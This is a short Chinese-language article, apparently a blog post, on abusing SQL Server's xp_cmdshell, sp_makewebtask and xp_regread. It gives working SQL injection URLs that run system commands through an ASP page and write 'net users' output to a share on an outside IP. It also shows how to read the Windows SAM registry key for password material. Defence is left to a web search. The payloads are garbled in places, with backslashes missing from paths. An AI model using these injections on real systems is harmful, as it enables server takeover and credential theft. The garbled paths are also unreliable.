Microsoft SQL Server几个危险的存储过程

MS SQL server默认安装了超过1000多存储过程。下面3个存储过程是通常容易被利用 xp_cmdshell sp_makeWebtask xp_regread xp_cmdshell。任何DOS命令都可以通过xp_cmdshell发布,包括目录列表,windows的net view和net use命令,出站的TFTP文件传输等。xp_cmdshell过程的事务物理SQL语句如下 EXEC master..xp_cmdshell ““ 如果有一个用于查询后台MS SQL服务器的ASP脚本,那就可以添加单引号,并采用如下方式调用xp_cmdshell存储过程: /find.asp?MenuID=1988’;EXEC%20master..xp_cmdshell’ping.exe%20202.96.209.5 %20为16进制空格,我发送了一个ping 202.96.209.5的命令。 sp_makewebtask。使用sp_makwebtask过程,可以读取SQL SELECT命令所得到的结果到表格形式的HTML文件中。它的语法如下: EXEC master..sp_makeWebtask “out.html”,”“ 上面那个IP和共享文件夹需要有可写权限。 /find.asp?MenuID=1988’;EXEC%20master..sp_makewebtask”202.96.209.5pubmenu.html”, “EXEC%20master_xp_cmdshell%20’net%20users’” 如果%20不能使用尝试使用+号来代替。 xp_regread。xp_regread过程允许从数据库服务器中读取注册表值以获取一些软件的加密的口令字符串,比如windows SAM数据库(如果没有用SYSKEY加密),我们可以执行如下语句 EXEC xp_regread HKLM, ‘SECURITYSAMDomainsAccount’, ‘c:tempout.txt’ 当然我们还可以配合前面2个存储过程来使用这个 /find.asp?MenuID=1988’;EXEC%20xp_regread ‘HKLM’, ‘SECURITYSAMDomainsAccount’,’c:tempout.txt’ 如何删除就自己GOOGLE下吧